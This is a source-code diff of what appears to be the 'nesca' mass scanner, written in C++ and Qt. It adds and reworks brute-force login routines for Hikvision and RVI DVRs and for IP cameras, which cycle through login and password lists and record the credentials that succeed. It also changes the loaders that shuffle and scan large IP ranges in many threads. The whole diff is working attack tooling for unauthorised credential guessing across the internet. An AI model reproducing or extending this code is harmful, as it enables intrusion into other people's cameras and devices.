++passCounter;
|
||||||
|
Sleep(200);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
||||||
if (gMaxBrutingThreads > 0) {
|
if (gMaxBrutingThreads > 0) {
|
||||||
|
|
||||||
@ -52,3 +398,21 @@ lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
|||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
lopaStr HikVis::RVILobby(const char *ip, const int port) {
|
||||||
|
if (gMaxBrutingThreads > 0) {
|
||||||
|
|
||||||
|
while (BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||||
|
|
||||||
|
++baCount;
|
||||||
|
++BrutingThrds;
|
||||||
|
const lopaStr &lps = rviLogin(ip, port);
|
||||||
|
--BrutingThrds;
|
||||||
|
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
lopaStr lps = { "UNKNOWN", "", "" };
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
}
|
@ -8,11 +8,16 @@ class HikVis {
|
|||||||
public: static bool isInitialized;
|
public: static bool isInitialized;
|
||||||
|
|
||||||
private: lopaStr hikLogin(const char * sDVRIP, int wDVRPort);
|
private: lopaStr hikLogin(const char * sDVRIP, int wDVRPort);
|
||||||
|
lopaStr rviLogin(const char * sDVRIP, int wDVRPort);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
|
static bool checkHikk(const char * sDVRIP, int port);
|
||||||
|
static bool checkRVI(const char * sDVRIP, int port);
|
||||||
|
static bool checkSAFARI(const char * sDVRIP, int port);
|
||||||
void hikInit();
|
void hikInit();
|
||||||
void hikCleanup();
|
void hikCleanup();
|
||||||
lopaStr HVLobby(const char *ip, const int port);
|
lopaStr HVLobby(const char *ip, const int port);
|
||||||
|
lopaStr RVILobby(const char *ip, const int port);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // UTILS_H
|
#endif // UTILS_H
|
43
IPCAuth.cpp
43
IPCAuth.cpp
@ -11,6 +11,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
char pass[128] = {0};
|
char pass[128] = {0};
|
||||||
char request[1024] = {0};
|
char request[1024] = {0};
|
||||||
int passCounter = 1;
|
int passCounter = 1;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
std::vector<char*> negVector;
|
std::vector<char*> negVector;
|
||||||
if(strcmp(SPEC, "IPC") == 0)
|
if(strcmp(SPEC, "IPC") == 0)
|
||||||
@ -179,7 +180,15 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
if (doPost) res = con.nConnect(request, port, &buffer, postData);
|
if (doPost) res = con.nConnect(request, port, &buffer, postData);
|
||||||
else res = con.nConnect(request, port, &buffer);
|
else res = con.nConnect(request, port, &buffer);
|
||||||
|
|
||||||
if (res == -2) return lps;
|
if (res == -2) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
for (int i = 0; i < negVector.size(); ++i)
|
for (int i = 0; i < negVector.size(); ++i)
|
||||||
{
|
{
|
||||||
@ -194,18 +203,40 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
{
|
{
|
||||||
strcpy(lps.login, loginLst[i]);
|
strcpy(lps.login, loginLst[i]);
|
||||||
strcpy(lps.pass, passLst[j]);
|
strcpy(lps.pass, passLst[j]);
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) {
|
||||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
if (rowIndex == -1) {
|
||||||
QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
335
MainStarter.cpp
335
MainStarter.cpp
@ -10,16 +10,16 @@
|
|||||||
int gTimeOut = 3;
|
int gTimeOut = 3;
|
||||||
int gPingTimeout = 1;
|
int gPingTimeout = 1;
|
||||||
int gMode;
|
int gMode;
|
||||||
int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
|
int PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
|
||||||
int AnomC1 = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, ssh = 0;
|
int camerasC1 = 0, filtered = 0, Overl = 0, Alive = 0, saved = 0, other = 0, ssh = 0;
|
||||||
int found = 0, indexIP = 0;
|
int found = 0, indexIP = 0;
|
||||||
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
|
int MaxPass = 0, MaxLogin = 0,
|
||||||
|
MaxWFLogin = 0, MaxWFPass = 0,
|
||||||
|
MaxFTPLogin = 0, MaxFTPPass = 0,
|
||||||
|
MaxSSHPass = 0;
|
||||||
int baCount = 0;
|
int baCount = 0;
|
||||||
int gMaxBrutingThreads = 50;
|
int gMaxBrutingThreads = 50;
|
||||||
unsigned int Activity = 0;
|
unsigned int Activity = 0;
|
||||||
char **loginLst, **passLst;
|
|
||||||
char **wfLoginLst, **wfPassLst;
|
|
||||||
char **sshlpLst;
|
|
||||||
char gTLD[128] = { 0 };
|
char gTLD[128] = { 0 };
|
||||||
char gPorts[65536] = { 0 };
|
char gPorts[65536] = { 0 };
|
||||||
char currentIP[MAX_ADDR_LEN] = { 0 };
|
char currentIP[MAX_ADDR_LEN] = { 0 };
|
||||||
@ -42,18 +42,20 @@ char metaTargets[256] = { 0 };
|
|||||||
char metaETA[256] = { 0 };
|
char metaETA[256] = { 0 };
|
||||||
char metaOffline[256] = { 0 };
|
char metaOffline[256] = { 0 };
|
||||||
|
|
||||||
|
bool saveBackup;
|
||||||
|
|
||||||
|
|
||||||
void MainStarter::unBlockButtons(){
|
void MainStarter::unBlockButtons(){
|
||||||
stt->doEmitionBlockButton(false);
|
stt->doEmitionBlockButton(false);
|
||||||
}
|
}
|
||||||
int MainStarter::fileLoader(const char *fileName) {
|
int MainStarter::fileLoader(const char *fileName) {
|
||||||
|
|
||||||
char curIP[256] = { 0 }, curIPCopy[256] = { 0 };
|
|
||||||
unsigned int importFileSize = 0;
|
unsigned int importFileSize = 0;
|
||||||
|
|
||||||
FILE *fl = fopen(fileName, "r");
|
FILE *fl = fopen(fileName, "r");
|
||||||
if (fl != NULL)
|
if (fl != NULL)
|
||||||
{
|
{
|
||||||
|
char curIP[256] = { 0 };
|
||||||
while (fgets((char*)curIP, sizeof(curIP), fl) != NULL)
|
while (fgets((char*)curIP, sizeof(curIP), fl) != NULL)
|
||||||
{
|
{
|
||||||
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
||||||
@ -62,11 +64,11 @@ int MainStarter::fileLoader(const char *fileName) {
|
|||||||
) ++importFileSize;
|
) ++importFileSize;
|
||||||
ZeroMemory(curIP, sizeof(curIP));
|
ZeroMemory(curIP, sizeof(curIP));
|
||||||
};
|
};
|
||||||
|
|
||||||
if (importFileSize == 0) {
|
|
||||||
fclose(fl);
|
fclose(fl);
|
||||||
return -1;
|
|
||||||
}
|
}
|
||||||
|
else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
|
||||||
|
|
||||||
|
if (importFileSize == 0) return -1;
|
||||||
|
|
||||||
ipsstartfl = new unsigned int*[importFileSize + 1];
|
ipsstartfl = new unsigned int*[importFileSize + 1];
|
||||||
ipsendfl = new unsigned int*[importFileSize + 1];
|
ipsendfl = new unsigned int*[importFileSize + 1];
|
||||||
@ -82,31 +84,22 @@ int MainStarter::fileLoader(const char *fileName) {
|
|||||||
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
||||||
};
|
};
|
||||||
|
|
||||||
rewind(fl);
|
std::vector<std::string> shuffleArray;
|
||||||
|
ifstream inputStream(fileName);
|
||||||
|
std::string curIPStr;
|
||||||
|
|
||||||
while (fgets(curIP, 256, fl) != NULL)
|
while (!inputStream.eof())
|
||||||
{
|
{
|
||||||
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
std::getline(inputStream, curIPStr);
|
||||||
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
|
if (curIPStr.size() > 1
|
||||||
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
|
&& curIPStr.find("#") == std::string::npos) shuffleArray.push_back(curIPStr);
|
||||||
{
|
}
|
||||||
strcpy(curIPCopy, curIP);
|
|
||||||
char *ptr1 = strstr(curIP, " ");
|
|
||||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
|
|
||||||
ptr1 = strstr(curIP, " ");
|
|
||||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
|
||||||
ptr1 = strstr(curIP, "#");
|
|
||||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
|
||||||
if (strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
|
|
||||||
{
|
|
||||||
ZeroMemory(curIPCopy, sizeof(curIPCopy));
|
|
||||||
ZeroMemory(curIP, sizeof(curIP));
|
|
||||||
continue;
|
|
||||||
};
|
|
||||||
|
|
||||||
if (strstr(curIP, "-") != NULL)
|
std::random_shuffle(shuffleArray.begin(), shuffleArray.end());
|
||||||
{
|
for (int i = 0; i < importFileSize; ++i) {
|
||||||
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIP, '-');
|
curIPStr = shuffleArray[i];
|
||||||
|
if (curIPStr.find("-") != std::string::npos) {
|
||||||
|
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIPStr, '-');
|
||||||
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
|
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
|
||||||
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
|
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
|
||||||
|
|
||||||
@ -135,10 +128,8 @@ int MainStarter::fileLoader(const char *fileName) {
|
|||||||
)
|
)
|
||||||
)
|
)
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
|
||||||
QString::number(MainStarter::flCounter) +
|
QString(curIPStr.c_str()) + "]");
|
||||||
"] String-> [" +
|
|
||||||
QString(curIPCopy) + "]");
|
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -153,26 +144,24 @@ int MainStarter::fileLoader(const char *fileName) {
|
|||||||
|
|
||||||
if (ip1 > ip2) {
|
if (ip1 > ip2) {
|
||||||
stt->doEmitionRedFoundData(" Malformed input: check your range (" +
|
stt->doEmitionRedFoundData(" Malformed input: check your range (" +
|
||||||
QString(curIP) + ")");
|
QString(curIPStr.c_str()) + ")");
|
||||||
}
|
}
|
||||||
|
|
||||||
gTargets += ip2 - ip1 + 1;
|
gTargets += ip2 - ip1 + 1;
|
||||||
++MainStarter::flCounter;
|
++MainStarter::flCounter;
|
||||||
}
|
}
|
||||||
else if (strstr(curIP, "/") != NULL)
|
else if (curIPStr.find("/") != std::string::npos)
|
||||||
{
|
{
|
||||||
if (strlen(curIP) > 18) {
|
if (curIPStr.size() > 18) {
|
||||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
|
||||||
QString::number(MainStarter::flCounter) +
|
QString(curIPStr.c_str()) +
|
||||||
"] String-> [" +
|
|
||||||
QString(curIPCopy) +
|
|
||||||
"]");
|
"]");
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
|
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
|
||||||
unsigned int netmask = atoi(strstr(curIP, "/") + 1);
|
unsigned int netmask = atoi(strstr(curIPStr.c_str(), "/") + 1);
|
||||||
|
|
||||||
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIP, '.');
|
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIPStr.c_str(), '.');
|
||||||
|
|
||||||
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
|
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
|
||||||
|
|
||||||
@ -215,13 +204,13 @@ int MainStarter::fileLoader(const char *fileName) {
|
|||||||
|
|
||||||
if (ip1 > ip2) {
|
if (ip1 > ip2) {
|
||||||
stt->doEmitionRedFoundData("Malformed input: check your range (" +
|
stt->doEmitionRedFoundData("Malformed input: check your range (" +
|
||||||
QString(curIP) + ")");
|
QString(curIPStr.c_str()) + ")");
|
||||||
}
|
}
|
||||||
|
|
||||||
gTargets += ip2 - ip1 + 1;
|
gTargets += ip2 - ip1 + 1;
|
||||||
++MainStarter::flCounter;
|
++MainStarter::flCounter;
|
||||||
}
|
}
|
||||||
else if (strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
|
else if (strstr(curIPStr.c_str(), "RESTORE_IMPORT_SESSION") != NULL)
|
||||||
{
|
{
|
||||||
///DUMMY///
|
///DUMMY///
|
||||||
}
|
}
|
||||||
@ -230,19 +219,14 @@ int MainStarter::fileLoader(const char *fileName) {
|
|||||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
||||||
QString::number(MainStarter::flCounter) +
|
QString::number(MainStarter::flCounter) +
|
||||||
"] String-> [" +
|
"] String-> [" +
|
||||||
QString(curIPCopy) +
|
QString(curIPStr.c_str()) +
|
||||||
"]");
|
"]");
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
ZeroMemory(curIP, sizeof(curIP));
|
|
||||||
};
|
|
||||||
};
|
};
|
||||||
gTargetsNumber = gTargets;
|
gTargetsNumber = gTargets;
|
||||||
|
|
||||||
stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
|
stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
|
||||||
fclose(fl);
|
|
||||||
}
|
|
||||||
else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
|
|
||||||
}
|
}
|
||||||
int MainStarter::loadTargets(const char *data) {
|
int MainStarter::loadTargets(const char *data) {
|
||||||
|
|
||||||
@ -379,12 +363,16 @@ void MainStarter::saveBackupToFile()
|
|||||||
|
|
||||||
if (MainStarter::flCounter > 0)
|
if (MainStarter::flCounter > 0)
|
||||||
{
|
{
|
||||||
|
if (!saveBackup) return;
|
||||||
FILE *savingFile = fopen("tempIPLst.bk", "w");
|
FILE *savingFile = fopen("tempIPLst.bk", "w");
|
||||||
if (savingFile != NULL)
|
if (savingFile != NULL)
|
||||||
{
|
{
|
||||||
if (gflIndex < MainStarter::flCounter) {
|
if (gflIndex < MainStarter::flCounter) {
|
||||||
sprintf(ipRange, "%s-%d.%d.%d.%d\n",
|
sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n",
|
||||||
currentIP,
|
ipsstartfl[gflIndex][0],
|
||||||
|
ipsstartfl[gflIndex][1],
|
||||||
|
ipsstartfl[gflIndex][2],
|
||||||
|
ipsstartfl[gflIndex][3],
|
||||||
ipsendfl[gflIndex][0],
|
ipsendfl[gflIndex][0],
|
||||||
ipsendfl[gflIndex][1],
|
ipsendfl[gflIndex][1],
|
||||||
ipsendfl[gflIndex][2],
|
ipsendfl[gflIndex][2],
|
||||||
@ -496,7 +484,7 @@ void MainStarter::saver()
|
|||||||
{
|
{
|
||||||
saverRunning = true;
|
saverRunning = true;
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
while (globalScanFlag)
|
while (saveBackup && globalScanFlag)
|
||||||
{
|
{
|
||||||
savingBackUpFile = true;
|
savingBackUpFile = true;
|
||||||
saveBackupToFile();
|
saveBackupToFile();
|
||||||
@ -944,7 +932,7 @@ void MainStarter::startIPScan(){
|
|||||||
tAddr.s_addr = ntohl(i);
|
tAddr.s_addr = ntohl(i);
|
||||||
ipVec.push_back(inet_ntoa(tAddr));
|
ipVec.push_back(inet_ntoa(tAddr));
|
||||||
|
|
||||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
|
||||||
|
|
||||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||||
while (ipVec.size() != 0) {
|
while (ipVec.size() != 0) {
|
||||||
@ -953,9 +941,9 @@ void MainStarter::startIPScan(){
|
|||||||
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
||||||
|
|
||||||
++indexIP;
|
++indexIP;
|
||||||
|
|
||||||
strcpy(currentIP, ipVec[0].c_str());
|
strcpy(currentIP, ipVec[0].c_str());
|
||||||
ipVec.erase(ipVec.begin());
|
ipVec.erase(ipVec.begin());
|
||||||
|
|
||||||
verboseProgress(gTargets);
|
verboseProgress(gTargets);
|
||||||
|
|
||||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
@ -1180,7 +1168,6 @@ void MainStarter::startDNSScan(){
|
|||||||
gTargets = dnsCounter;
|
gTargets = dnsCounter;
|
||||||
gTargetsNumber = gTargets;
|
gTargetsNumber = gTargets;
|
||||||
stt->doEmitionYellowFoundData("Starting DNS-scan...");
|
stt->doEmitionYellowFoundData("Starting DNS-scan...");
|
||||||
stt->doEmitionChangeStatus("Scanning...");
|
|
||||||
|
|
||||||
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
|
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
|
||||||
if (y == -1)
|
if (y == -1)
|
||||||
@ -1189,6 +1176,11 @@ void MainStarter::startDNSScan(){
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
struct Corac {
|
||||||
|
int index;
|
||||||
|
std::string ip;
|
||||||
|
};
|
||||||
|
|
||||||
void MainStarter::startImportScan(){
|
void MainStarter::startImportScan(){
|
||||||
if (MainStarter::flCounter == 0)
|
if (MainStarter::flCounter == 0)
|
||||||
{
|
{
|
||||||
@ -1198,13 +1190,112 @@ void MainStarter::startImportScan(){
|
|||||||
return;
|
return;
|
||||||
};
|
};
|
||||||
|
|
||||||
stt->doEmitionChangeStatus("Scanning...");
|
//std::vector<std::string> ipVec;
|
||||||
for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
|
std::vector<Corac> ipVec;
|
||||||
|
struct in_addr tAddr;
|
||||||
|
int ipOffset = 6;
|
||||||
|
//for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
|
||||||
|
for (gflIndex = 0; gflIndex < MainStarter::flCounter; gflIndex += ipOffset)
|
||||||
{
|
{
|
||||||
sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
//sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||||
ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
|
// ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
|
||||||
ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
|
// ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
|
||||||
|
|
||||||
|
//ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
||||||
|
// (ipsstartfl[gflIndex][1] * 65536) +
|
||||||
|
// (ipsstartfl[gflIndex][2] * 256) +
|
||||||
|
// ipsstartfl[gflIndex][3];
|
||||||
|
//ip2 = (ipsendfl[gflIndex][0] * 16777216) +
|
||||||
|
// (ipsendfl[gflIndex][1] * 65536) +
|
||||||
|
// (ipsendfl[gflIndex][2] * 256) +
|
||||||
|
// ipsendfl[gflIndex][3];
|
||||||
|
|
||||||
|
switch (gShuffle) {
|
||||||
|
case true: {
|
||||||
|
int ipGap = MainStarter::flCounter - gflIndex;
|
||||||
|
if (ipGap < ipOffset)
|
||||||
|
{
|
||||||
|
ipOffset = ipGap;
|
||||||
|
};
|
||||||
|
|
||||||
|
for (int j = gflIndex, coracIndex = 0; j < gflIndex + ipOffset; ++j, coracIndex++)
|
||||||
|
{
|
||||||
|
/*sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
|
||||||
|
ipsstartfl[j][0], ipsstartfl[j][1], ipsstartfl[j][2], ipsstartfl[j][3],
|
||||||
|
ipsendfl[j][0], ipsendfl[j][1], ipsendfl[j][2], ipsendfl[j][3]);*/
|
||||||
|
ip1 = (ipsstartfl[j][0] * 16777216) +
|
||||||
|
(ipsstartfl[j][1] * 65536) +
|
||||||
|
(ipsstartfl[j][2] * 256) +
|
||||||
|
ipsstartfl[j][3];
|
||||||
|
ip2 = (ipsendfl[j][0] * 16777216) +
|
||||||
|
(ipsendfl[j][1] * 65536) +
|
||||||
|
(ipsendfl[j][2] * 256) +
|
||||||
|
ipsendfl[j][3];
|
||||||
|
|
||||||
|
for (unsigned long i = ip1; i <= ip2; ++i)
|
||||||
|
{
|
||||||
|
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||||
|
|
||||||
|
tAddr.s_addr = ntohl(i);
|
||||||
|
Corac corac;
|
||||||
|
corac.ip = std::string(inet_ntoa(tAddr));
|
||||||
|
corac.index = coracIndex;
|
||||||
|
ipVec.push_back(corac);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||||
|
for (int k = 0; k < ipVec.size(); ++k)
|
||||||
|
{
|
||||||
|
stt->addColoredIndex(ipVec[k].index);
|
||||||
|
}
|
||||||
|
|
||||||
|
stt->doEmitionUpdatePB2();
|
||||||
|
|
||||||
|
while (ipVec.size() != 0) {
|
||||||
|
++cIndex;
|
||||||
|
//stt->doEmitionDrawPointerPB2(pointer++);
|
||||||
|
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||||
|
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||||
|
|
||||||
|
++indexIP;
|
||||||
|
|
||||||
|
strcpy(currentIP, ipVec[0].ip.c_str());
|
||||||
|
ipVec.erase(ipVec.begin());
|
||||||
|
verboseProgress(gTargets);
|
||||||
|
|
||||||
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
|
}
|
||||||
|
|
||||||
|
// for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||||
|
|
||||||
|
// if (!globalScanFlag) break;
|
||||||
|
|
||||||
|
// tAddr.s_addr = ntohl(i);
|
||||||
|
// ipVec.push_back(inet_ntoa(tAddr));
|
||||||
|
|
||||||
|
// if (ipVec.size() >= (gTargets > 10000 ? 10000 : gTargets)) {
|
||||||
|
|
||||||
|
// std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||||
|
// while (ipVec.size() != 0) {
|
||||||
|
|
||||||
|
// while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||||
|
// if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||||
|
|
||||||
|
// ++indexIP;
|
||||||
|
|
||||||
|
// strcpy(currentIP, ipVec[0].c_str());
|
||||||
|
// ipVec.erase(ipVec.begin());
|
||||||
|
// verboseProgress(gTargets);
|
||||||
|
|
||||||
|
// Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
haters_gonna_hate_IM:;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case false: {
|
||||||
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
|
||||||
(ipsstartfl[gflIndex][1] * 65536) +
|
(ipsstartfl[gflIndex][1] * 65536) +
|
||||||
(ipsstartfl[gflIndex][2] * 256) +
|
(ipsstartfl[gflIndex][2] * 256) +
|
||||||
@ -1213,41 +1304,6 @@ void MainStarter::startImportScan(){
|
|||||||
(ipsendfl[gflIndex][1] * 65536) +
|
(ipsendfl[gflIndex][1] * 65536) +
|
||||||
(ipsendfl[gflIndex][2] * 256) +
|
(ipsendfl[gflIndex][2] * 256) +
|
||||||
ipsendfl[gflIndex][3];
|
ipsendfl[gflIndex][3];
|
||||||
|
|
||||||
switch (gShuffle) {
|
|
||||||
case true: {
|
|
||||||
std::vector<std::string> ipVec;
|
|
||||||
struct in_addr tAddr;
|
|
||||||
|
|
||||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
|
||||||
|
|
||||||
if (!globalScanFlag) break;
|
|
||||||
unsigned long offset = ip2 - i;
|
|
||||||
|
|
||||||
tAddr.s_addr = ntohl(i);
|
|
||||||
ipVec.push_back(inet_ntoa(tAddr));
|
|
||||||
|
|
||||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
|
||||||
|
|
||||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
|
||||||
while (ipVec.size() != 0) {
|
|
||||||
|
|
||||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
|
||||||
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
|
||||||
|
|
||||||
++indexIP;
|
|
||||||
strcpy(currentIP, ipVec[0].c_str());
|
|
||||||
ipVec.erase(ipVec.begin());
|
|
||||||
verboseProgress(gTargets);
|
|
||||||
|
|
||||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
haters_gonna_hate_IM:;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case false: {
|
|
||||||
struct in_addr tAddr;
|
struct in_addr tAddr;
|
||||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||||
|
|
||||||
@ -1289,21 +1345,84 @@ void MainStarter::runAuxiliaryThreads() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void MainStarter::createResultFiles() {
|
void MainStarter::createResultFiles() {
|
||||||
|
char fileName[256] = { 0 };
|
||||||
|
